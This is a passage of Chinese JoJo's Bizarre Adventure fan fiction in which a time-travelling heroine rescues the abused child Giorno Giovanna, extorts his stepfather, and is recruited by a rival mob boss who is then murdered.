虽然他现在还没感受到活着的好处,但是他也不想死,至少不想死在一个带着酒气的混混的餐刀下。
他要把土撒到那个混混眼睛里!这样子至少争取点时间。
但是,还没等他做出这个动作,一道沙哑的女声从背后传来,打断了所有人的动作。
“Be quiet”,她的嘴可能很干,这样嘶哑的声音几乎不像是人发出的。但是其中的警示确实好用的镇住了所有人。
乔鲁诺·乔巴纳不知道后面女人是敌是友,他只是侧转过身,用一只眼偷偷打量那个人的样子。
那是个身材高挑的黑发女人,脸上没什么表情,背靠着墙坐在地上。一只蝴蝶停在她身上,随着她转过头来的动作,才像刚刚意识到底下是人,扇着翅膀飞走了。
乔鲁诺·乔巴纳心中升腾着一种奇妙的感觉。
虽然他都没注意这个女人是什么时候在这里的,虽然他不能从女人面无表情的脸上分辨出什么,但是,他莫名有一种奇妙的感觉,这个人,和他有一种奇妙的联系。
也许在场的人只有他有这种感觉。
不自觉握紧了餐刀的手柄,混混将餐刀往前一举,对准了坐在地上的黑发女人。
“你这臭娘们什么时候出来的!还敢说什么''Be qote'',这不是要挑衅本大爷嘛?”他或许自己都没有留意,自己的嗓音不自觉拔高,就像一只夹着尾巴害怕的狗,将牙呲着对着害怕的敌人。
“你没读过书吗?”她这话里只是单纯的疑问,没有什么嘲笑的意思,不过落在小混混眼里就是百分之百的挑衅。
女人还是没站起来,依然靠着墙,目光在乔鲁诺·乔巴纳身上停顿了一下,不大在意地看了一眼那把餐刀,嘴里小声说着什么。
乔鲁诺·乔巴纳离得比较近,倒是听清了,那是“不是吧,全世界怎么还在说霓虹语,连英语也不说吗?这到底是哪个年头啊?”
那个小混混肯定没看清她嘴上的动作,否则肯定会更生气,当然,他现在就已经像一头发怒的公牛一样,脸涨得通红,“该死该死该死,竟然敢嘲笑我,可恶的婆娘!”
这个混混甚至都忽略了眼前的乔鲁诺·乔巴纳,直接高举着餐刀向那个女人冲过去。
他们的距离并不远,只要两三秒他就能冲到那个女人面前,而那把刀可能就会刺穿她。
那个女人好像被吓坏了,还
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是在地上坐着,一动不动,甚至没打算跑。
这样下去,会死的!
乔鲁诺·乔巴纳看着高举餐刀的混混从自己身边狂奔过去,内心狂跳。他不知是哪里生出的气势,为着那心中升腾而出的那一瞬间的奇妙情感,用头向那个混混的腰部撞去,一面挥起了手中紧紧攥着的尘土。
“嘶!什么!你个小鬼!”混混仅仅是踉跄了一下,就站稳了步子,一手揉了揉眼睛,剩下的一只眼恶狠狠地盯着乔鲁诺·乔巴纳。
营养不良的小孩的冲击也没有什么攻击力,手中攥着的土也因为紧张出汗而变得湿得无法成功迷住对方的眼睛。这样的举动除了吸引火力,居然没能起到别的作用。
看着头顶下坠的餐刀,乔鲁诺·乔巴纳在这最后的一刻,竟然还在想着那个奇怪的女人。
她最后能跑掉吗?
乔鲁诺·乔巴纳怔怔地想着,看着餐刀越来越近,他似乎都能闻到餐刀上曾经接触过的牛排的香气。
但是预料中的痛苦并没有袭来,他没有眨眼,但是餐刀、混混都从眼前消失了,取而代之的是那个黑发女人蹲在乔鲁诺·乔巴纳身前。
谁也说不清她是什么时候站起来的,也没人看清她的动作,但她就是这么出现在乔鲁诺·乔巴纳的身前。
她的视线从乔鲁诺·乔巴纳的头上略过,然后停留在乔鲁诺·乔巴纳有些恍惚的眼中。
“谢谢你。”
她此时的声音没有那么沙哑了,显现出清冽的原声。
她向乔鲁诺·乔巴纳伸出手,眼神里的柔和让乔鲁诺·乔巴纳不知所措,但是他没有选择拒绝。
乔鲁诺·乔巴纳将手轻轻搭在她的手上,跟着她穿过了不知什么时候被打的人仰马翻的小混混们身上。
乔鲁诺·乔巴纳的眼在那群惨叫的混混身上停顿了几秒就收回,而后眼睛就盯着前方的路。
虽然他的注意力都在手那里就是了。还没有人牵过他的手,他是个很早记事的人,但他从没有母亲牵过他或者抱过他的印象。
那个只有照片却从未见过的生父更不用说了。
所以,当女人停住脚步了之后,他还是慢了几拍才回过神来。
“我能知道你的名字吗?”女人弯腰,低头看着他。
“乔鲁诺·乔巴纳……”缓过神来的乔鲁诺·乔巴纳几乎像是害怕女人不耐烦而离开,立马给出了答案。
女人点了点头,把他的名字念了一遍,转而问起了另一件让乔鲁诺·乔巴纳摸不着头脑的事。
“乔鲁诺,你知道现在是几几年吗?”
“1990年。”
在听到这个回答后,乔鲁诺·乔巴纳惊讶地发现眼前的女人像是萎靡的植物重逢甘露,脸上无意识绽出巨大的微笑。
“两年……”她的喃喃自语中带着一种劫后余生的欣喜。
“咕噜噜!”乔鲁诺·乔巴纳的肚子就在这时响起。他虽然捂住了肚子,但是胃部饥饿的呐喊却怎么也是挡不住的。
女人眨了眨眼睛,“乔鲁诺,我刚好饿了,你愿意和我一起吃饭去吗?”
86.遗产自提
“女士,这是我们的菜单,如果你需要帮忙选择,我随时可以帮忙。”年轻的侍者穿着制服,给我递来了一本手写的菜单。
我定睛一瞥,果不其然,上面写的还是霓虹语。
嘛,现在这个全世界都在说霓虹语的设定已经不能激起我的吐槽欲了。
“好的,谢谢,我们先看看。”
我接过菜单,先递给了安静坐在椅子上的黑发小男孩,“乔鲁诺,你想吃点什么呢?”
整个餐厅的空气里弥漫着食物诱人的气息,直直勾起我肚子里的馋虫。虽然说穿越前就在吃饭,但不知是不是穿越很耗费体力的缘故,仅仅是来到这里半天我就饿得不行。
而且,我此时灵敏的五感更是一种折磨。
隔壁桌的牛排橄榄油与迷迭香的气味混合着肉香,直直钻进我的鼻子里。牛排的内部还保留着肉汁,一口咬下去汁水就会在口中轻轻溢出。如果再来上一口葡萄酒了话......
我情不自禁舔了舔嘴唇。老实说,给dio打工时我一直公费吃饭,那自然什么贵点什么,也许本来还能拿点面包凑活的,但是由奢入俭难啊。
显然,乔鲁诺·乔巴纳也闻到了牛排的香气。
他的鼻翼微微翕动,像是怔愣般微微瞪大了眼睛,好一会才缓过神来,以一种自认为隐秘的方式轻声咽下了唾沫,又将菜单递给我,“一份最简单的意大利面就好........可以吗?”
这应该是菜单上除了前菜以外最便宜的东西了。
我愣了一下,一时间没接过菜单。
像是误会了什么,乔鲁诺·乔巴纳看向我,赶忙说道,“其实我不饿,给我一杯水就可以了。”
他牢牢地控制住自己的视线,不敢扭头看向食物香气的来源,好像那是什么可怕的恶魔一样会引诱他的灵魂堕落。
这孩子也太乖了吧。他的父母是谁能教出这么好的孩子?
我不禁咂舌,但是一想到刚刚替乔鲁诺简单处理的伤口,又忍不住皱起眉头。
能让孩子受这样的伤,难道是他的父母都不在了,只留下了不靠谱的监护人。不管怎么说,这孩子的监护人绝对不称职。
而且看起来就营养不良的,不管怎么说,得让孩子吃饱啊。
“乔鲁诺,你想吃什么都可以点。”
我揉了揉乔鲁诺的头,营养不良使得他的黑发缺乏光泽又有些干枯,其实手感并不怎么好,但是他又是那么乖巧地坐在原地,脑袋一动不动,只是等我的手离开后又抬起头,直直地望着我。
啊,是太冒犯了吗?没经过同意就揉对方脑袋,难道在意大利的文化里是一种挑衅吗?
“诶,不好意思,我的手下意识就放上去了”,我火速收回自己手,“如果你不喜欢,请让我向你道歉。”
但是乔鲁诺没说话,只是看了看我,摇了摇头。
啊,难道这样子真的会让人生气吗?这孩子已经生气到不说话了?
我有点心虚,看着乔鲁诺试图将菜单塞给我,“没事,只要水,水就够了。”
他说着,视线从我的衣服上划过,然后张了张嘴,“钱,钱了话还是自己存着比较好吧。”
--毕竟都已经沦落到住在小巷子里了。
很奇怪,我居然能读懂他的未尽之意,就好像我对他有什么奇妙读心术一样。
嘛嘛,虽然我确实一直没什么钱,以前的莲花宝座丢了,穿越时口袋里dio的赃款也花在那顿饭上了,dio遗留在银行给我的赃款现在也因为没有假身份的证件取不了,整个人都是黑户的状态......
糟糕,这样子越想越觉得自己的财运不太妙啊。
不过,不管怎么说,我也不是吃霸王餐的空条承太郎。
我看着虽然才刚见面,就为我的财务状态感到担心的黑发小男孩,不由得绷起脸。
“乔鲁诺。”
我放轻了声音,悄悄向他招手示意靠近一点。
虽然不知道为什么要这样,乔鲁诺·乔巴纳眨了眨眼,放下菜单,跳下来椅子,凑近到了我脸旁边。
哎呀?其实也不用这么近就是了。
不过这也没关系。
我看着表情严肃的乔鲁诺,心里有些好笑,但是面上还是绷着脸,环视四周一圈,然后很严肃地凑近了乔鲁诺的耳朵,说,“其实,我又不得不花钱的理由,拜托了,乔鲁诺,点多一点的东西吧!”
不得不花钱?骗小孩子吗?
乔鲁诺·乔巴纳的脸上流露出一种复杂的神情,他抿着嘴,眉头不自觉皱起,那似乎是在纠结该怎么应对这个有些拙劣的谎言。
“我说的可是真的。”
为了佐证我的话,我从兜里掏出了零零散散的钱。虽然都是些面额不大的1千里拉、5千里拉等,最大面额也只是5万里拉,但是这样零零散散加起来,也有不少。
不过一般来说,正常人出门不会带这么多纸钞吧。乔鲁诺的眼里透出疑惑。
“咳咳,我是真的必须把这钱花掉,因为,这钱是我从刚刚那群没有礼貌的小鬼那里拿来做打扰我休息的赔偿的!”
一听这话,乔鲁诺的眼睛都瞪大了,他看了又看我手上的零钱,又看了看我,微微张开了嘴,眼睛亮亮的。
“啊当然,这种事情好孩子还是不要去做。”
我给自己的这个行为打了个补丁,又继续对着乔鲁诺·乔巴纳鼓劲,“这里加起来可是有50万里拉,都够我们在这餐厅好好享受5顿大餐了,所以拜托了乔鲁诺,帮帮我吧!”
眼前的少年顿了顿,眼睛亮亮的,点了两下头。
我拿起桌上的菜单,放在我和乔鲁诺都能看得到的位置。
“我想要佛罗伦萨牛排,那个混合沙拉看起来也很好吃,基安蒂酒好像是强推啊,我也要!来意大利也得吃披萨呢,那么来个玛格丽塔披萨吧,然后我再来一份提拉米苏吧。”
看着乔鲁诺对着菜单欲言又止的样子,我笑了笑,“我说的只是我的分量啦,乔鲁诺你还得继续点餐哦。”
“......佛罗伦萨牛排?”
“当然!”
“那,我还想加一份布丁!”
“好主意!我也来一份吧!”
看着丰盛的食物,乔鲁诺咽了咽口水,看着已经开始大快朵颐的黑发女人,嘴角露出了一个很浅的微笑。他拿起勺子,挖了一勺完整的圆形的布丁,小心翼翼地放入嘴中,顿时感到一种难以言喻的喜悦。
好像在做梦一样,就像是书里看到的卖火柴的小女孩临死的幻想,让他觉得整个人轻飘飘的。如果不是嘴里的美味确实存在,他都要怀疑这是不是自己的幻想了。
“哎?看起来这个布丁很好吃,那我也尝尝我的。”黑发女人将布丁放入嘴中,眼里写满了餍足。
“好吃!”
她意犹未尽地看了看自己的勺子,转头看向乔鲁诺,“真的好好吃啊,我们再点一份吧?”
“......好!”
如果是幻觉了话也没关系。他只希望这个幻觉能持续得再长一点。
*
吃饱喝足之后,我就护送着乔鲁诺·乔巴纳回家了。
说实在的,在得知他居然还有父母的时候我还是吃了一惊。谁家父母会这样养孩子,太不负责了。
不如偷偷套麻袋把他们打一顿,再装神弄鬼给他们一个诅咒,就是那种类似于不好好养孩子你们就完蛋的那种?
我是这么想的,但总感觉治标不治本。
尤其是在乔鲁诺不经意挽起了袖子,露出他手上的烟头印后,我更是觉得没法放任不管。
在我的逼问下,乔鲁诺断断续续地说了他继父
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总是抽打他的事,说完,他又不说话了。至于母亲,他似乎已经放弃了什么,只说他不会管他。
我无法接话,我连自己穿越的契机还没弄清,实在不敢再贸然插手他人的命运。我们就这样沉默地走下去。
一路小走,终于来到了他家的门口,我正准备上前去,却感觉身侧的人微微颤抖,就像寒风中的小狗。
我看着面前装修不错的房子,又想起自己并不鼓囊的钱包和扶不起的事业运,一时间没有说话。
乔鲁诺的手紧紧抓着我的手腕了好一会,才像是反应过来到达了目的地,以一种极为缓慢的速度松开了手,然后抬头看我。
但是我没有低头,我不知道他的表情,只是感觉他看了我很久很久,手伸起来了又放下,最后只是说“谢谢你请我吃饭”,然后就一步一步向前走去。
我跟了过去,乔鲁诺楞了一下。我替他按了按门铃,好一会,才有一个看起来人模狗样的中年男人来开了门。
男人先是看了我一眼,然后才看到紧紧拉着我的手的乔鲁诺·乔巴纳,十分夸张地喊出声,“哦呀,乔鲁诺,你怎么这么晚才回来。”
他说着,无视乔鲁诺微微颤抖的身体,强硬地要拽走他,乔鲁诺踉跄一下,忽然转头看着我,嘴唇动了动,声音轻得几乎听不清。
带我走。
这几乎无声的话他似乎只是一个对自己的安慰,并不指望谁能听见。
说完后,他又以一种认命的姿态随着继父粗鲁的拉扯而卸力,这是他长期被打得出来的能少受些伤的经验。
眼看着门即将合上,我实在忍不住深深地叹了一口气。
管他不稳定,走一步看一步吧,但是,现在拒绝这样子的请求绝对是会遭天谴的。
我直接踹开了门,直击那个中年男的肘窝,将乔鲁诺拉到我身边。
“就这么要回孩子?”
我轻轻敲了一下大门,门上立马出现裂痕,叫那个中年男惊叫一声,面露警惕。
“你这孩子弄坏了我贵重的东西,我是来要债的,1亿拉里,赔我。”
这个话里并没有商量的余地。
纵使中年男人想说狮子大开口,但是看着破碎的门,他还是老实地没选择激怒我,“这孩子跟我没关系,他母亲也不会管他的,1亿拉里我不可能赔!”
他硬气了两秒,又指着乔鲁诺,恨恨道,“你是黑.帮的吧,干脆直接带走这家伙,现在的小孩卖点器官什么的肯定能值点钱。”
他说完,试图关上门,但是破碎的门显然没有这个作用。
黑.帮的身份啊,不用白不用。
我冷哼一声,“至少再给我100万拉里,小孩值什么钱,不然你就等着哪天醒来在手术台上然后出现在xxxxx吧。”
我说完,继续踹了一脚门,整个房子都发出了一声哀鸣。中年男终于意识到不破钱消灾是不可能的,至于那个小孩,管他的。
我握着新鲜了100万拉里,拿了个黑色塑料袋装着,就以一种看起来很粗暴的方式拽着乔鲁诺走了。
啧,怎么说呢,现在这种不法途径来钱太快了让我内心都有点动摇了。
难道这才是我的生财之道?
回过神,我察觉到乔鲁诺自从离开家后一直目不转睛地盯着我,心道不好。
难道我是自说自话把人家带走了,其实他还想回去?
正当我想开口说些什么,乔鲁诺说话了。
“没关系,我知道我父亲长什么样!”乔鲁诺紧张地掏出一张照片,他的语速是我见到他以来听过最快的,“如果钱不够,应该可以找他要赡养费。他应该很有钱!”
我看看乔鲁诺,又看了看照片上的熟悉的黄发男人,一时间不能反应过来,拿着100万拉里的手差点松开。
找谁……要赡养费?!
87.学生就是要上学啊
嗯.....从某种意义上来说,我算是扬了dio的骨灰。
如果这个故事由莎士比亚主笔了话,乔鲁诺就该上演王子复仇记找我报仇了。背叛、谋杀一应俱全。
我试图说点什么,但是此时有些过载的大脑根本无法组织语言。
在看见前雇主的照片时,我承认我一瞬间停止了思考。
这样的沉默使得年幼的孩子感到不安,他紧紧捏着照片,话里有些受挫,“不可以找他要赡养费吗?”
额,这不是可以不可以的问题,这是根本实现不了的问题。
你爹都成灰了,他的遗产都被处理了,如果dio复活给你发赡养费我才是要心脏骤停了。
我清了清嗓子,试图说点什么,“......乔鲁诺,你是怎么确定这个照片上的人就是你的父亲的呢?”
拜托了,希望是个误会啊。总不能乔鲁诺也属于被我继承的dio的遗产的一部分吧。这算什么,我自提的遗产吗?
但是乔鲁诺的话打破了我最后的幻想。这是他母亲亲口承认照片上的男人就是他的生父,她总是说如果那个在埃及的富豪dio愿意娶她,她现在的生活绝对完全不一样。
可恶!名字和地点都对上了。再加上dio的财力,我这回根本没话说了。
“我不能找他要赡养费吗.....是给你添麻烦了吗?”乔鲁诺收回了照片,将他放回了裤子的口袋里。
现在这个年纪的孩子正是渴望父母的爱的时候,他的生母与继父并不称职,所以,他或许是将某种对于亲情的期望寄托在了一个从没见过的父亲身上吧。
我这么想着,心里叹了口气,一想到生父还是dio,更是感觉这股气憋得不上不下的。
我蹲下来,看着乔鲁诺,“你不是麻烦,是我想要带你走的。我很高兴你愿意跟我走。”
乔鲁诺点了点头,露出了一个很浅的笑,倒是让我想起了变成玩偶的乔纳森先生,唔,不知道乔纳森先生现在怎么样了。
啊.....
等等!dio这家伙乱搞的时候用的好像是乔纳森先生的身体,那这么说了话,其实乔鲁诺是乔斯达家族的血脉?
我看向面前这个只和我蹲下来差不多的小男孩,心中默默算起了辈分,如果算作乔纳森先生身体的孩子了话,那不就是乔斯达先生的叔叔,空条承太郎的舅外公!
好高的辈分!
不自觉间,我盯着乔鲁诺的脸,试图找出一丝乔斯达家血脉的痕迹。但是这样的打量太直接了,乔鲁诺虽然没有避开,但还是眨巴眨巴着眼,用手轻轻地拉了一下我的衣摆。
轻柔的动作和这个孩子腼腆的表现让我清醒过来,现在先别管他是不是真的是dio的血脉或者乔斯达家族的一份子了,我带走他也只是因为看不过眼一个可怜的孩子受虐待。
我现在该做的事情是先安顿他,其他什么血脉之谜的都再说。
下定了主意,我牵着乔鲁诺,暂时找了一间旅店歇息。
没证件,不要紧,有钱就行。不过想宰客,我看着自己手中“不小心”捏碎的金属圆珠笔,对着前台抱歉一笑,得到了稍微合理的价钱。
这块地,似乎很乱啊。
我回想起乔鲁诺继父提高的黑.帮,看着旅店内某些人腰间不太合理的凸起,抓紧了乔鲁诺的手。
不管怎么说,还是先休息再说。现在正是长身体的年纪。
我把乔鲁诺安置在一张床上后,便等着他睡着。
但是,直到我躺在另一张床上,自己都快睡着的时候,乔鲁诺的呼吸依旧是清醒的样子。
可是,只要我一翻身尝试面对他,他又会紧闭双眼,做出沉沉睡着的样子。
为了自己的今晚的睡眠,我叹了口气,走下床,轻柔地拍了拍乔鲁诺,就好像不知道他还醒着,“我不会走的,祝你一夜好梦,乔鲁诺。”
等我又翻身回到自己的床上的时候,乔鲁诺已经把被子盖过了头顶。我躺在床上,发出平稳的呼吸声。这时小小闷闷的啜泣声从另一张床那里传来,我闭着眼,并不说话。
不过,我真的能做到“不会走”吗?
穿越的契机如果雾里看花,并不真切。如果再不弄清楚,不受控制的分别再来几次,也会让我心力交瘁。
不过,我内心已经有了一些的猜测。如果结合三次穿越的共性了话,那就是......
我想着,察觉到乔鲁诺已经睡着了,一时间困意袭来,自己也陷入了睡眠。
一个稍显凝实的身影悄然出现在黑发女人的床头,久久凝视着我,旋即又消失不见。
不过这些,我都不知道,只是感觉睡醒的时候,人有些累。
这家旅店的遮光一般,阳光已经从窗帘的缝隙中透了出来尽情炫耀着今天天气的明媚。
可能是有点饿了吧,我摸了摸自己的肚子,看向对面蜷缩成一团窝在被子里的乔鲁诺,打了个招呼。
“早上好,乔鲁诺。”
黑色的脑袋从被子里钻出来,乔鲁诺揉了揉眼睛,对我点了点头,有些生硬地打了哈欠,“早上好。”
唔,还是假装不知道他已经起来了很久比较好。
我这么想着,就看见乔鲁诺爬下床后,自己洗漱,收拾好了东西,甚至还把他和我的床上的被子都恢复成来时的样子。
做完了这一切后,他又坐回了床边,眼睛也不眨地盯着我。
这种感觉就好像被一只小黑猫盯上啊,我的手又有点痒了。
我克制住自己的手,带着乔鲁诺吃了旅店里提供的早餐,便出门了。
“说起来,乔鲁诺,你在哪上学的呢?”
这话一出,我看见乔鲁诺停住了脚步,有些不可置信地看着我。
这样子也要去学校吗?他的眼里写满了这个。
“当然,这并不会打乱你的日常生活。你还是要像一个普通小孩那样长大的,我们又不是去浪迹天涯。”
这话不知道有没有完全说服乔鲁诺,但是,至少他愿意给我指去学校的路了。他昨天的书包似乎
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已经不见了,我在去的路上尽可能给他配齐了该带的东西,并承诺下课时间就来接他。
他拉着我的袖子,好半晌,才说话。
“我会等你的,我会一直在这里等你的。”
“唔,我会准时到的,不会让你等的。”
目送着乔鲁诺一步三回头的离开,看他最终走进了学校,我忍不住苦笑一声,摸了摸自己空无一物的兜。
该说是谨慎呢还是什么的,乔鲁诺似乎拿走了我兜里的东西来作为抵押物,期望我为了这东西,也不会直接抛下他走。
不过姜还是老的辣,虽然我一般穷得不招扒手,但是我防扒手的经验还是比较丰富的。
我从另一个口袋里掏出了一枚金色的学生制服纽扣。
那好像还是我穿越前从那团“替身”亦或者是“咒灵”一样的东西中掏出来的。
很奇怪,如果我猜的没错了话,之前两面宿傩的手指、奇怪的弓箭都是这玩意吞掉的。不过花京院扔下的纽扣它倒是不屑于吃。
啧,还挑食啊。
我叹口气,又摸了摸一侧空空的口袋。
我是将前台身上的纽扣顺走来代替花京院留下的扣子,以此再假装没留意乔鲁诺想要留下点什么东西的心思。
唔,不过没有拿点钱走吗?我摸了一下塞在外套里的黑色塑料袋,钱的厚度没变。
虽然有很多次我都把钱放在离我很远不设防的地方,这孩子也不拿吗?完全看不出他是dio的孩子啊。
不过接下来是先想个办法联系乔瑟夫先生他们呢?还是找份工作呢?
又或者是……
我看着迎面向我走来的黑衣男人,不由感慨,现在不需要纠结做选择了。
“你好,女士,方便一起聊一下吗?”穿着黑衣的男人礼貌地笑了一下,指了指一旁的轿车。旋即又有几个人从他身后出来,摸了摸腰间的东西。
“这样盛情邀请,不方便也得方便吧?”我的视线从那辆从旅馆出来后就一直跟在我身后的车上收回,冒昧提出了自己的请求。
“要不请我吃个饭吧,毕竟饭桌上很适合聊天呢。”
男人身后看起来像是打手一样的人正准备说些什么,黑衣男人抬手制止了他,对我点点头,“那先上车吧。”
坐在舒适的轿车后座上,我看着不断倒退的风景,有些走神。
说起来,还得晚一点再想办法联系乔斯达先生他们了。
不过,该怎么联系呢。总不能直接去乔斯达地产集团的意大利分公司找人说要见乔瑟夫吧。只有古早言情说女主才能靠这种方法见到人吧……
*
与此同时,某个前往那不勒斯的船上,一个高大的银发男人对着椅子,忍不住嘟囔。
“我说,咖啡味口香糖等到了那不勒斯我一定会买给你的!你干嘛还要摆着脸色,说到底还是你自己没有忍住全都把存货吃完的错吧!”
“等等!别跳在我脸上,我的发型!好臭!啊……真不明白你为什么要跟过来!”
88.组织招新
“比安奇先生......”站在黑衣男人身后的酷似打手一样的家伙发出了一声惊呼,又在同伴的眼神制止下放低了声音。
但是他的眼睛却仍然一直看着我,准确来说,是看着桌上的空盘子。
“不好意思,麻烦收一下桌上的空盘好吗?还有,下一道菜也可以接着上了。”我默默吞下最后一口意面,直接举起了空盘,招呼着远远躲着的侍者。
嘛,虽然一群一看就不是什么好东西的黑衣人齐聚在这里是有点让人发怵,但现在毕竟还有菜没上呀。
目送着侍者颤颤巍巍地端着空盘而去,我用纸巾擦拭了一下没怎么脏的嘴角,冲对面等候已久的黑衣男打招呼,“让您久等了。”
现在有事快点说,不然待会下一道菜就要来了。
我虽然是这么想的,但对方毕竟是付餐费的冤大头,所以我还是十分体贴递去了话茬子。
“没想到女士你还愿意让我开口,真是不胜感激。”
这位被称作“比安奇”先生的人说着,耸了耸肩,表情却没什么笑意。他穿着一身裁剪得当的黑色西装,这西装一看就料子很贵,在阳光下还能有着微妙的光感。
这种程度的阴阳怪气我根本不放在眼里,我只是笑了笑,然后转头地看了眼后厨的位置。
没有得到回应,这位比安奇先生收了点笑,给身后的黑衣人打了个手势,我就看见黑衣人向后厨冲去,制止了要上菜的动作。甚至厨师等人都被驱逐出店,整个店里只有我和这一伙人大眼瞪小眼。
哎。
霸王餐果然没那么容易吃。
听见我的叹息,比安奇这回露出了一个真心实意的笑容,手肘搭在桌子上,身子微微前倾。
“既然女士你给我创造了开口的机会,那我可得好好珍惜。”他说着,接过了身后黑衣人递来的什么资料,看了一眼,又将视线移到我的脸上。
“说起来,这位昨天就打伤了不少孩子并假借黑·帮的名义勒索的女士,我还不知道您的名字呢?”
啧,这个帽子扣得也太大了。咦,不过仔细想想他说的好像也没错。
我忍不住思考自己是否半脚踏入了什么不好的领域,但是面上绷着脸,警惕着打量着对方。
“没有身份的人的名字说出来也没什么用吧。”
“哦呀,真是警惕啊女士。可既然如此,你就不应该在这块土地上弄出那么大动静。”
伪装出的谨慎取悦了比安奇,他又笑了,“不过我没有恶意,如果我有恶意了话,女士你也无法在这家餐厅用餐了。”
是是是,没恶意,我当然相信啊。
我适时沉下了肩,轻轻舒了一口气,“如果没有恶意,那为什么找上我?”
“老实说,这是因为我真的很欣赏你。虽然那些小鬼不成气候,但是按照那群家伙的话,你可是在他们还没反应过来就全部放倒他们了,这点可不容易。我们家族确实很需要这样的人才,”比安奇撤回了身子,非常做作地叹了口气。
“但是可惜啊,女士你已经被人盯上了,纵使我欣赏你,但一个普通人了话我可是没法保护你啊。”
“谁盯上我了?”
“你不知道?”
“我不知道。”
“Passione”,男人虽然是笑着,试图将这个名字轻松吐出,但是微微下拉的嘴角还是暴露着他对这个名字的警惕。
Passione?是什么?听起来还蛮正能量的嘛。
我保持着茫然的表情,比安奇挑了挑眉,唇动了一下,那是一声几乎只能被他自己听见的“果然”。
接下来的几分钟里,比安奇开始了针对Passione的“客观描述”。
他的原话大抵可以概括为卑鄙无耻的 Passione如何打破行业规矩,只会靠血腥和暴力来解决问题;是来自霓虹的外商人的走狗,根本不配称之为意大利的家族;靠贿赂和勾结才能存活,迟早自取灭亡。
当然,这样的话整理一下,我就从比安奇的描述中窥见了一个不守规矩的组织是如何异军突起、拓展势力,甚至威胁到了比安奇组织所在的位置。
无论是财力、势力、武力,恐怕比安奇现在所在的组织远远无法赶上Passione。
所以,当比安奇的话最终落脚到招募我的时候,我也清楚地明白了自己的定位--炮灰。
据比安奇所说,所谓的我假借黑.帮的名义从乔鲁诺继父那拿走的一笔钱由于没有上交给Passione,也会被他们追杀。
.....我只是刚来这里,我也不是傻子。
只是我表面上依旧诚惶诚恐,试图看这场戏怎么演。
比安奇的招募并非什么伯乐寻千里马,看见我就恨不得培养我,他的刀子隐藏在蜜糖后面。
“当然,我还是很希望女士你能加入的,这样能让我们更好地保护你以及你带走的那个小孩。哦,说起来,那孩子叫乔鲁诺·乔巴纳吧,真是个奇怪的名字。”他拿出了一张乔鲁诺的照片,放在了桌子上,笑眯眯地看着我。
那照片,看背景实在校门口拍的。
我看了一眼照片,又将视线移到了比安奇的脸上,笑了笑,也耸了耸肩。
“如果你们调查过我,应该也知道我昨天才见着那小鬼,你拿他来威胁我?”
“哎呀,原来是顺手捡的小宠物,不过,对于一个没有身份的但是身手很好的人,我们组织可是能提供很多东西的。”
“比如?”
“除了这个数字的钱,我们还会给你一个很好的身份以及体面稳定的工作,保准什么人都看不出你会是一个偷渡的.....哎呀失敬了。”
“稳定的工作?”我再重复了一遍,几乎很难抑制话里的激动。
比安奇或许本来是想激怒我,但是看见我的表情后,他也楞了一下,但是反应很快,“放心,那份工作稳定体面,我们打过招呼了,如果你愿意,甚至可以一辈子干下去。”
我有些难控制脸上的表情了。
但是这似乎给了比安奇什么奇异的自信,他看着我,语气里带着些蛊惑,“只要,你帮我们完成一件事,我就会保证你的安全,给你提供一个合理的身份和体面长久的工作....”
“哦,那个工作什么时候开始?不,我是说,你们想让我完成什么事?”
招聘就是这么敌进我退,一副无良hr做派的比安奇也被我突如其来的热情吓到,甚至微微后撤,摸起了自己身侧的枪。
“去追查Passione的boss的真实身份。”
“收到!没问题!”
听到果断的回答,比安奇身后的保镖样的黑衣男都瞪大了双眼,一种这人约莫是傻了或者疯了的表情。
比安奇也语塞了一瞬,但不愧是无良hr,很快调整了过来。
他打了个响指,身后的黑衣人立马
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给他递来了个纸袋。
“里面你想要的一切都有,准备好了话,明天就去就职吧。”
我打开了纸袋,里面赫然是支票、证件以及一些入职报告的文件。
这么齐全,看起我现在是紧急情况下的炮灰啊……
我心下了然,拿起纸袋正准备走,突然想起了什么,转身回头。
比安奇还坐在椅子上,绷紧了身体,脸上却还是带笑,“怎么了?”
一群黑衣人在他身后,齐齐盯着我。
我的视线从比安奇昂贵的西装、价值不菲的腕表上划过,表情有些复杂。
“比安奇先生,现在你应该算是我的雇主吧?”
“……如果你愿意这么觉得。”
“那你应该没什么奇怪的情妇和很多私生子吧?”
这个问题呛住了比安奇,他没喝水,都差点喘不过气来。
“我还以为东方人都很含蓄。”他眯起眼,摸了摸自己的嘴唇,甚至放低了声音,“这个问题的答案嘛~”
他这幅模样让我起了鸡皮疙瘩,都觉得有些手痒。这看起来就像是有很多的样子。
不过,我忖度自己的立场—法制社会我可是守法公民,应该不至于走到血鬼术发动的地步。
“话说回来,比安奇先生,能把厨师叫回来吗?我想打包点菜走!”
……
*
看着那个神秘的黑发女人下车向远处走去,比安奇下意识地松了口气,指挥车子启动。
这个自然而然的动作让他自己都感到纳闷。
“比安奇先生,您魅力大到连敢见面的女人都想投身您的怀抱,真是让人羡慕啊。”
驾驶汽车的黑衣保镖半是拍马屁办事真心实意地恭维上司,倒让比安奇忘了自己的郁闷,转而露出一种带着可惜的嘲讽。
“长得不错,可惜了……”他叼起一只雪茄,在云雾中轻笑出声。
安插人在警.局里去找Passione的boss,如果是疯了才会这么大张旗鼓地去做。这不过是一个挡箭牌而已。
而且那个女人傻乎乎地答应了,果然是不知道目前调查Passione的boss的人,无一丧命这回事。
比安奇深深吸了一口烟,感受尼古丁的气息,他看着不断倒退的景象,缓缓露出一个笑容。
他已经埋下了暗手,放出了些消息。那个似乎也在追查Passione的boss的人应该也快出现了吧。
等他找出Passione的boss的身份,形势都会逆转,他会让那缩头乌龟知道什么才叫真正的黑.帮。
畅想着美好的未来,比安奇简直要笑出了声。
但是,车子却突然刹车,让他身体向前倾倒,连雪茄都掉在做点上了。
“怎么回事?”比安奇警惕地握紧枪,黑衣保镖骂了一句脏话,回头说道,“只是撞到了人而已。一个粉发小鬼!”
然而,保镖没有得到应声,他转头望去,只见车门打开,比安奇已倒在一片血泊中,上好的西装吸满了血。
保镖甚至来不及为死去的上司做什么,他就闻到了一股浓浓的汽油味。
他转头看向车里,不知何时,车上布满了气味厚重的液体。而一个点燃的火柴正从外面扔进来!
砰!随着一声巨响,整个车底都燃烧起来,发出刺鼻的气味。
至于马路上,哪有什么粉色小鬼的踪迹。
89.入职
现在离乔鲁诺放学还有些早,我开始在那不勒斯晃荡,顺便去自己即将入职的地方踩个点。
到一个地方就要到处晃晃熟悉情况,这似乎已经变成了我的习惯了。
毕竟每次都是口袋空空就穿越了,不打工攒点钱根本没法生活。
